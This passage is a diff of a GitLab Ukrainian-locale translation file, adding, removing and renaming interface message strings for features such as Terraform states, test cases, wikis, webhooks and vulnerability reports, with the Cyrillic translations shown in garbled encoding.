msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "ТеÑÑ‚"
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr "ПереконайтеÑÑ, що проєкт має запити на Ð
msgid "TestHooks|Ensure the project has notes."
msgstr "ПереконайтеÑÑ, що проєкт має нотатки."
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr "ПереконайтеÑÑ, що вікі увімкнено Ñ– вона має Ñторінки."
@@ -26748,9 +27355,6 @@ msgstr "Трекер задач — це міÑце, де можна додатÐ
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,12 +27364,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "URL-адреÑа Ð´Ð»Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ Elasticsearch. ВикориÑтовуйте ÑпиÑок, розділений комами, Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ñ€Ð¸Ð¼ÐºÐ¸ клаÑтеризації (наприклад: \"http://localhost:9200, http://localhost:9201\")."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Сертифікат X509 викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð²Ð·Ð°Ñ”Ð¼Ð½Ð¾Ñ— перевірки автентичноÑÑ‚Ñ– TLS Ñ– необхідний Ð´Ð»Ñ Ð·Ð²'Ñзку з зовнішньою Ñлужбою авторизації. Якщо залишити порожнім, Ñертифікат Ñервера буде перевірÑтиÑÑŒ при доÑтупі через HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26832,9 +27436,6 @@ msgstr "Введений вами домен Ñ” недопуÑтимим."
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr "Введена мапа кориÑтувачів не Ñ” корректною мапою кориÑтувачів JSON."
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr "Зв'Ñзок форку видалено."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ ÑƒÑпішно виÑлано повторно."
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Ð—Ð°Ð´Ð°Ñ‡Ð° показує, Ñкільки чаÑу потрібно від ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– до Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ñ—Ñ— до ÑкогоÑÑŒ етапу, або Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– на дошку. Почніть Ñтворювати задачі, щоб переглÑдати дані Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— Ñтадії."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr "Ваш ліцензійний ключ недійÑний. ПереконайтеÑÑ, що він збігаєтьÑÑ Ð· тим, що ви отримали від GitLab Inc."
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "КількіÑÑ‚ÑŒ разів, коли Ð·Ð°Ð¿Ð¸Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð½Ðµ зміг знайти Ñвій файл"
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Staging показує Ñ‡Ð°Ñ Ð¼Ñ–Ð¶ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð·Ð
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Ð¢ÐµÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾ÐºÐ°Ð·ÑƒÑ” чаÑ, Ñкий GitLab CI витрачає Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ конвеєра Ð´Ð»Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´Ð½Ð¾Ð³Ð¾ запиту злиттÑ. Дані будуть автоматично додані піÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ конвеєра."
@@ -27091,8 +27707,8 @@ msgstr "ЧаÑ, витрачений на кожен елемент, зібраÐ
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "Ð§Ð°Ñ Ð´Ñ–Ñ— Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñплине через %{number_of_minutes} хвилин. Ð”Ð»Ñ Ð²ÐµÐ»Ð¸ÐºÐ¸Ñ… репозиторіїв викориÑтовуйте комбінацію clone/push."
-msgid "The uploaded file is not a valid Google Takeout archive."
-msgstr "Завантажений файл не є коректним архівом Google Takeout."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
+msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
msgstr "Збір даних про викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð¾, Ñ– це не можна налаштувати через цю форму."
@@ -27103,9 +27719,6 @@ msgstr "КориÑтувач видалÑєтьÑÑ."
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr "Мапу кориÑтувачів збережено. Ð”Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð²Ð¶ÐµÐ½Ð½Ñ Ð²Ð¸Ð±ÐµÑ€Ñ–Ñ‚ÑŒ проєкти Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ."
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "Мапа кориÑтувачів — це правила Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувачів FogBugz, Ñкі приймали учаÑÑ‚ÑŒ у ваших проєктах до Gitlab (зокрема Ñ—Ñ… імен та Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти). Ви можете вноÑити зміни шлÑхом Ð·Ð°Ð¿Ð¾Ð²Ð½ÐµÐ½Ð½Ñ Ñ‚Ð°Ð±Ð»Ð¸Ñ†Ñ– нижче."
@@ -27121,6 +27734,9 @@ msgstr "Середнє Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð² Ñ€Ñдку. Приклад: між 3,
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr "ВразливіÑÑ‚ÑŒ більше не виÑвлÑєтьÑÑ. Перевірте, що цю вразливіÑÑ‚ÑŒ виправлено або видалено перед тим, Ñк змінювати ÑтатуÑ."
@@ -27208,6 +27824,9 @@ msgstr "Ще немає Ñпільних проєктів з цією групо
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr "Цей коміт Ñ” чаÑтиною запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{l
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr "Цей коміт підпиÑано <strong>перевіреним</strong> підпиÑом Ñ– адреÑа електронної пошти комітера гарантовано належить тому Ñамому кориÑтувачу."
-
msgid "This commit was signed with a different user's verified signature."
msgstr "Цей коміт підпиÑано перевіреним підпиÑом іншого кориÑтувача."
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr "Цей коміт підпиÑано <strong>неперевіреним</strong> підпиÑом."
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr "Це ваш поточний ÑеанÑ"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr "Ð¦Ñ Ñторінка недоÑтупна, тому що ви не мо
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr "Цей Ñ‡Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¼Ð°Ñ‚Ð¸Ð¼Ðµ перевагу у ра
msgid "This user cannot be unlocked manually from GitLab"
msgstr "Цей кориÑтувач не може бути розблокований вручну в GitLab"
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr "Моніторинг Загроз"
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr "Ð§Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "година"
@@ -28236,6 +28855,9 @@ msgstr "Ñекунд(а)"
msgid "Tip:"
msgstr "Порада:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Заголовок"
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,8 +29506,8 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
-msgstr "Розблокувати"
+msgid "Unauthenticated request rate limit"
+msgstr ""
msgid "Undo"
msgstr "СкаÑувати"
@@ -28950,11 +29578,11 @@ msgstr "ÐžÐ±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ€Ð¾Ð·Ð±Ð»Ð¾ÐºÐ¾Ð²Ð°Ð½Ð¾."
msgid "Unlocks the discussion."
msgstr "Розблоковує обговореннÑ."
-msgid "Unmarked this %{noun} as Work In Progress."
-msgstr "ЗнÑто Ð¿Ð¾Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ WIP (в процеÑÑ–) з цього %{noun}."
+msgid "Unmarked this %{noun} as a draft."
+msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
-msgstr "Знімає Ð¿Ð¾Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ WIP (в процеÑÑ–) з цього %{noun}."
+msgid "Unmarks this %{noun} as a draft."
+msgstr ""
msgid "Unreachable"
msgstr ""
@@ -29148,9 +29776,6 @@ msgstr "Перейдіть на вищий тарифний план щоб по
msgid "Upgrade your plan to improve Merge Requests."
msgstr "Перейдіть на вищий тарифний план Ð´Ð»Ñ Ð¿Ð¾ÐºÑ€Ð°Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñ–Ð² на злиттÑ."
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr "Завантажити CSV файл"
@@ -29169,6 +29794,9 @@ msgstr "Завантажити Ñертифікат Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ доме
msgid "Upload a private key for your certificate"
msgstr "Завантажити приватний ключ Ð´Ð»Ñ Ñертифіката"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "ÐадіÑлати файл"
@@ -29205,6 +29833,9 @@ msgstr "Лайки"
msgid "Usage"
msgstr "ВикориÑтано"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "Без обмежень"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "ВикориÑтаннÑ"
@@ -29442,6 +30076,12 @@ msgstr "КориÑтувача уÑпішно видалено із проєкт
msgid "User was successfully updated."
msgstr "КориÑтувача було уÑпішно оновлено."
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr "Додати"
@@ -29499,6 +30139,9 @@ msgstr "Видалити %{name}?"
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "ÐктивніÑÑ‚ÑŒ"
@@ -29544,6 +30187,9 @@ msgstr "ОÑобиÑÑ‚Ñ– проєкти"
msgid "UserProfile|Report abuse"
msgstr "Повідомити про зловживаннÑ"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Сніпети"
@@ -29574,6 +30220,9 @@ msgstr "Цей кориÑтувач не має жодного обраного
msgid "UserProfile|This user is blocked"
msgstr "Цей кориÑтувач заблокований"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "ПереглÑнути вÑе"
@@ -29610,6 +30259,9 @@ msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача доÑтупне."
msgid "Username or email"
msgstr "Ім'Ñ ÐºÐ¾Ñ€Ð¸Ñтувача або електронна пошта"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "КориÑтувачі"
@@ -29652,15 +30304,15 @@ msgstr "Ðемає Ð²Ð¸ÐºÐ¾Ð½Ð°Ð²Ñ†Ñ â€” %{openingTag} призначити нÐ
msgid "UsersSelect|Unassigned"
msgstr "Ðепризначено"
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ %{code_start}::%{code_end} вказує на %{link_start}набір Ñелективних міток%{link_end}"
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr "ВикориÑтовуєтьÑÑ Ð¾Ð±Ð¾Ð²â€™Ñзкова ÑÑ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ ÑˆÐ¸Ñ„Ñ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¸ відÑутньому полі Ð´Ð»Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¾Ð³Ð¾ значеннÑ!"
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr "Діє з"
@@ -29730,7 +30382,7 @@ msgstr "Різні параметри локалізації."
msgid "Various settings that affect GitLab performance."
msgstr "Різноманітні налаштуваннÑ, що впливають на продуктивніÑÑ‚ÑŒ GitLab."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr "ПереглÑд файла @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr "ПереглÑнути повну панель керуваннÑ"
@@ -29870,6 +30525,9 @@ msgstr "ПереглÑнути мітки проєкту"
msgid "View replaced file @ "
msgstr "ПереглÑд заміненого файлу @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr "ПереглÑд"
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr "ВразливоÑÑ‚Ñ–"
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "КлаÑ"
@@ -30119,10 +30780,7 @@ msgstr "ПроÑÑ‚Ñ–Ñ€ імен"
msgid "Vulnerability|Project"
msgstr "Проект"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr "Рівень"
msgid "Vulnerability|Status"
msgstr "СтатуÑ"
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr "Зачекайте Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ Ð´Ð»Ñ ÐºÐ¾Ð¿Ñ–ÑŽÐ²Ð°Ð½Ð½Ñ Ð¹Ð¾Ð³Ð¾ вміÑту"
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr "Ми не змогли визначити шлÑÑ… до Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ ÐµÐ¿Ñ–ÐºÑƒ"
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr "Що нового в GitLab"
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,8 +31126,14 @@ msgstr ""
msgid "Wiki"
msgstr "Вікі"
-msgid "Wiki was successfully updated."
-msgstr "Вікі уÑпішно оновлено."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Клонувати ваш вікі"
@@ -30606,6 +31288,9 @@ msgstr "ВерÑÑ–Ñ Ñторінки"
msgid "Wiki|Pages"
msgstr "Сторінки"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "Заголовок"
@@ -30687,9 +31372,6 @@ msgstr "Так, закрити задачу"
msgid "Yes, delete project"
msgstr "Так, видалити проєкт"
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "Так, дозволити мені зв’Ñзати кориÑтувачів Google Code із повними іменами кориÑтувачів GitLab."
-
msgid "Yesterday"
msgstr "Вчора"
@@ -30699,6 +31381,9 @@ msgstr "Ви"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr "Вам не дозволÑєтьÑÑ Ð²Ñ–Ð´Ð²â€™Ñзувати Ñвій оÑновний обліковій Ð·Ð°Ð¿Ð¸Ñ Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ñƒ"
@@ -30903,6 +31591,9 @@ msgstr "Ви можете вказати рівень Ñповіщень на Ñ€
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "Ви можете перевірити Ñвій .gitlab-ci.yml у %{linkStart}CI Lint%{linkEnd}."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr "Ви не можете отримати доÑтуп до неформатованого файлу. Будь лаÑка, зачекайте хвилину."
@@ -30945,6 +31636,9 @@ msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” дозволу залишити це %{namespaceTyp
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr "Ви не маєте дозволу запуÑкати Веб-термінал. Будь лаÑка, звернітьÑÑ Ð´Ð¾ адмініÑтратора проєкту."
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr "Вам необхідно вказати Ñк токен доÑтупу,
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr "Ви повинні завантажити екÑпортований архів проєкту Gitlab (що закінчуєтьÑÑ Ð½Ð° .gz)."
-msgid "You need to upload a Google Takeout archive."
-msgstr "Вам потрібно завантажити архів Google Takeout."
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr "Ви будете отримувати Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ñ‚Ñ–Ð»ÑŒ
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Ви не зможете відправлÑти та отримувати код проєкту через %{protocol} поки не %{set_password_link} Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ облікового запиÑу"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Ви не зможете відправлÑти та отримувати код проєкту через SSH, поки не додаÑте в Ñвій профіль SSH ключ"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr "Вам не дозволено вноÑити зміни до цього
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr "Вам не дозволÑєтьÑÑ Ð²Ð½Ð¾Ñити зміни до цього проєкту напрÑму. СтворюєтьÑÑ Ñ„Ð¾Ñ€Ðº цього проєкту в Ñкому ви можете робити зміни з тим, щоб Ñтворювати запити на злиттÑ."
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
